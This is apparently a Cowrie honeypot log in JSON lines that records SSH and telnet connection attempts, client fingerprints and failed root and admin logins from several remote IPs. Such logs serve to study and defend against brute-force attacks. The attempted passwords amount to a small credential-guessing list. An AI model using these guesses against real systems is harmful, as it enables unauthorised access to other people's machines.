{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45208,"dst_ip":"159.203.135.109","dst_port":23,"session":"f713c801d8b2","protocol":"telnet","message":"New connection: 135.148.14.151:45208 (159.203.135.109:23) [session: f713c801d8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:24.612577Z"}
{"eventid":"cowrie.session.closed","duration":0.008805513381958008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:24.621221Z","src_ip":"135.148.14.151","session":"f713c801d8b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96531939506531,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:25.209441Z","src_ip":"135.148.14.151","session":"6d0a0082e837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56538,"dst_ip":"159.203.135.109","dst_port":22,"session":"1609c0e6414d","protocol":"ssh","message":"New connection: 147.45.211.215:56538 (159.203.135.109:22) [session: 1609c0e6414d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:35.752769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:35.757991Z","src_ip":"147.45.211.215","session":"1609c0e6414d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:35.934082Z","src_ip":"147.45.211.215","session":"1609c0e6414d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123454321a","message":"login attempt [root/123454321a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:36.462718Z","src_ip":"147.45.211.215","session":"1609c0e6414d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36492,"dst_ip":"159.203.135.109","dst_port":23,"session":"683eb6d4ba7f","protocol":"telnet","message":"New connection: 135.148.14.151:36492 (159.203.135.109:23) [session: 683eb6d4ba7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:36.701359Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:37.641555Z","src_ip":"147.45.211.215","session":"1609c0e6414d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.53792142868042,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:44:38.791544Z","src_ip":"135.148.14.151","session":"d15e099e0572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.59771800041199,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:00.528416Z","src_ip":"135.148.14.151","session":"281e4cc17980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52886,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbae67265c65","protocol":"telnet","message":"New connection: 135.148.14.151:52886 (159.203.135.109:23) [session: bbae67265c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:09.462605Z"}
{"eventid":"cowrie.session.closed","duration":34.0992386341095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:10.800465Z","src_ip":"135.148.14.151","session":"683eb6d4ba7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34688,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f6c1ca7672a","protocol":"ssh","message":"New connection: 103.82.132.16:34688 (10.17.0.5:22) [session: 0f6c1ca7672a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:17.790226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:17.806930Z","src_ip":"103.82.132.16","session":"0f6c1ca7672a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:18.061477Z","src_ip":"103.82.132.16","session":"0f6c1ca7672a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"142857","message":"login attempt [root/142857] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:18.816830Z","src_ip":"103.82.132.16","session":"0f6c1ca7672a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:20.074183Z","src_ip":"103.82.132.16","session":"0f6c1ca7672a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52012,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c2765dd564","protocol":"ssh","message":"New connection: 109.237.96.109:52012 (159.203.135.109:22) [session: 21c2765dd564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:31.424928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:31.430590Z","src_ip":"109.237.96.109","session":"21c2765dd564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:31.525529Z","src_ip":"109.237.96.109","session":"21c2765dd564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hohland412","message":"login attempt [root/hohland412] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:31.809929Z","src_ip":"109.237.96.109","session":"21c2765dd564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:32.906796Z","src_ip":"109.237.96.109","session":"21c2765dd564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52880,"dst_ip":"10.17.0.5","dst_port":22,"session":"55820a45a29d","protocol":"ssh","message":"New connection: 194.113.233.25:52880 (10.17.0.5:22) [session: 55820a45a29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:42.589095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:42.594499Z","src_ip":"194.113.233.25","session":"55820a45a29d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:42.688385Z","src_ip":"194.113.233.25","session":"55820a45a29d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfybreks","message":"login attempt [root/rfybreks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:42.968585Z","src_ip":"194.113.233.25","session":"55820a45a29d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:44.065045Z","src_ip":"194.113.233.25","session":"55820a45a29d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":36854,"dst_ip":"10.17.0.5","dst_port":22,"session":"377db1495ed8","protocol":"ssh","message":"New connection: 37.233.85.71:36854 (10.17.0.5:22) [session: 377db1495ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:44.365948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:44.371388Z","src_ip":"37.233.85.71","session":"377db1495ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:44.476462Z","src_ip":"37.233.85.71","session":"377db1495ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loving","message":"login attempt [root/loving] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:44.795770Z","src_ip":"37.233.85.71","session":"377db1495ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:45.907470Z","src_ip":"37.233.85.71","session":"377db1495ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.24582099914551,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:45:47.708336Z","src_ip":"135.148.14.151","session":"bbae67265c65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":41854,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dc902f0c8d8","protocol":"ssh","message":"New connection: 212.227.125.15:41854 (159.203.135.109:22) [session: 6dc902f0c8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:07.743115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:07.747934Z","src_ip":"212.227.125.15","session":"6dc902f0c8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:07.828212Z","src_ip":"212.227.125.15","session":"6dc902f0c8d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cyber@123","message":"login attempt [root/cyber@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:08.178845Z","src_ip":"212.227.125.15","session":"6dc902f0c8d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:09.272683Z","src_ip":"212.227.125.15","session":"6dc902f0c8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38432,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83008da2689","protocol":"ssh","message":"New connection: 2.57.121.112:38432 (159.203.135.109:22) [session: d83008da2689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:11.541718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:11.724190Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:11.827691Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03011969","message":"login attempt [admin/03011969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:12.329658Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0227","message":"login attempt [admin/0227] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:13.441350Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0222","message":"login attempt [admin/0222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:14.550365Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0221","message":"login attempt [admin/0221] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:15.660033Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0219","message":"login attempt [admin/0219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:16.769892Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:17.880869Z","src_ip":"2.57.121.112","session":"d83008da2689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":40176,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7eae8b89bcd","protocol":"ssh","message":"New connection: 193.228.128.84:40176 (159.203.135.109:22) [session: b7eae8b89bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:37.676669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:37.680807Z","src_ip":"193.228.128.84","session":"b7eae8b89bcd","protocol":"ssh"}
